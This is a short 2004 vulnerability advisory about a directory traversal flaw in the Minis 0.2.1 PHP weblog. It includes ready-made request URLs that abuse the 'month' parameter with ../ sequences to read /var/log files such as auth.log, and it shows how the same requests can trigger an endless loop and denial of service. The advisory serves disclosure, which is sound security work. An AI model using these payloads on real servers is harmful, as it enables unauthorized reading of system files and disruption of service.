Minis 0.2.1 suffers from a directory traversal flaw that allows for viewing of files outside of the webroot. If the server does not have access to the file, it enters into a loop causing a denial of service.

Title: Minis directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 31/12/2004
Severity: Moderate

Summary:
- --------

(from vendor site: http://minis.sourceforge.net/)

Minis is a tiny, PHP-powered, text-file based weblogging system.
It is easily configured for normal use and it doesnt require any
databases, such as MySQL. Also, with some PHP-knowledge youll be
able to configure Minis endlessly.

Minis doesn't check the month parameter which allows reading any file with
.log extension

This vulnerability has been tested with Minis 0.2.1


Details:
- --------

If we want to read /var/log/XFree86.0.log:

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86.0
RETURNS: (looking at source of HTML)

If we try to read a file that doesn't exist (in this example
/var/log/XFree86.log) Minis returns "No such month"

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86
RESPONSE:
No such month.


If we try to read a file the webserver doesn't have autorization to, Minis
enters an endless loop which
could cause an incredible amount of bandwith spent by the server or even a
DoS

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/auth
RETURNS:
Warning: fopen(blog/../../../../../../../../var/log/auth.log): failed to
open stream: Permission denied in /var/www/minis/minis.php on line 109

../../../../../../../../var/log/auth

Warning: feof(): supplied argument is not a valid stream resource in
